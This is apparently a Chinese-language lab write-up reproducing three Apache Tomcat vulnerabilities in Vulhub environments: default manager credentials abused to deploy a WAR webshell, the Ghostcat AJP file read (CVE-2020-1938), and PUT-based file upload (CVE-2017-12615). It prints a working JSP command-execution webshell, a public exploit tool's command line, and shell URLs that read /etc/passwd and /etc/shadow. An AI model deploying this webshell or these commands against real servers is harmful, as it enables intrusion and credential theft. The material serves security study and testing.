文章目录
- Apache Tomcat 漏洞复现
- 1. Tomcat7 弱密码和后端 Getshell 漏洞
- 1.1 漏洞描述
- 1.2 漏洞复现
- 1.3 漏洞利用
- 1.3.1 jsp小马
- 1.3.2 jsp大马
- 2. Aapache Tomcat AJP任意文件读取/包含漏洞
- 2.1 漏洞描述
- 2.1 漏洞复现
- 2.2 漏洞利用工具
- 3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞
- 3.1 漏洞描述
- 3.2 漏洞复现
- 3.3 漏洞利用
Apache Tomcat 漏洞复现
1. Tomcat7 弱密码和后端 Getshell 漏洞
链接地址:Vulhub - Docker-Compose file for vulnerability environment
1.1 漏洞描述
说明 | 内容 |
---|---|
漏洞编号 | |
漏洞名称 | Tomcat7+ Weak Password && Backend Getshell Vulnerability |
漏洞评级 | 高危 |
影响范围 | 8.0 |
漏洞描述 | Tomcat 支持通过后端部署 war 文件,所以我们可以直接将 webshell 放入 Web 目录下。为了访问后端,需要权限。 |
修复方案 | 打补丁,上设备,升级组件 |
1.2 漏洞复现
环境启动
访问页面
点击管理控制平台
用户名和密码都是tomcat
进入到了tomcat后台项目管理控制台
如果黑客攻击者拿到这个控制台,就会有很大的风险。甚至可以将大型木马打包成WAR包进行部署。
1.3 漏洞利用
1.3.1 jsp小马
创建一个jsp木马
<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>
然后将其打包成WAR包
然后及将打包好的WAR包进行上传即可。
上传成功
访问页面
上传的木马中写了密码为023再次访问,然后使用ls命令来查看当前目录下有哪些文件。
查看权限
env打印环境变量
1.3.2 jsp大马
Webshell:138shell update · tennc/webshell@6a88226 (github.com)。
利用我们准备好的大马,将其打包成war包后进行上传
上传成功
访问成功
2. Aapache Tomcat AJP任意文件读取/包含漏洞
链接地址:Vulhub - Docker-Compose file for vulnerability environment
2.1 漏洞描述
说明 | 内容 |
---|---|
漏洞编号 | CVE-2020-1938 |
漏洞名称 | Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability |
漏洞评级 | 高危 |
影响范围 | 9.0.30 |
漏洞描述 | 由于Tomcat AJP协议中的缺陷,攻击者可以读取或包含Tomcat的Webapp目录中的任何文件。例如,攻击者可以读取 Web 应用配置文件或源代码。此外,如果目标Web应用具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含漏洞在目标主机上执行恶意代码。 |
修复方案 | 打补丁,上设备,升级组件 |
2.1 漏洞复现
环境启动
2.2 漏洞利用工具
下载漏洞利用工具链接:github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi。
使用工具:
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.188.185 -p 8009 -f WEB-INF/web.xml
文件读取成功
查看读取的web.xml文件位置
发现和我们之前读取的文件内容一致
测试是否还可以读取其他的文件
我们可以在WEB-INF目录中创建一个wuhu.txt文件并在里面输入内容
然后尝试读取该文件内容
最后验证得出,这里读取文件是有限制的,只能读取ROOT目录下的文件
3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞
链接地址:Vulhub - Docker-Compose file for vulnerability environment。
3.1 漏洞描述
说明 | 内容 |
---|---|
漏洞编号 | CVE-2017-12615 |
漏洞名称 | Tomcat Arbitrary Write-file Vulnerability through PUT Method |
漏洞评级 | 高危 |
影响范围 | 8.5.19 |
漏洞描述 | 当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限 |
修复方案 | 打补丁,上设备,升级组件 |
3.2 漏洞复现
环境启动
访问页面
漏洞检测
使用nuclei漏洞检测工具
./nuclei -u 192.168.188.185
3.3 漏洞利用
浏览器路径访问
http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fpasswd
%2F表示/
。
页面显示出来etc/passwd文件内容。
测试是否可以查看shadow文件
http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fshadow
测试是否可以执行命令
http://127.0.0.1/poc.jsp?cmd=whoami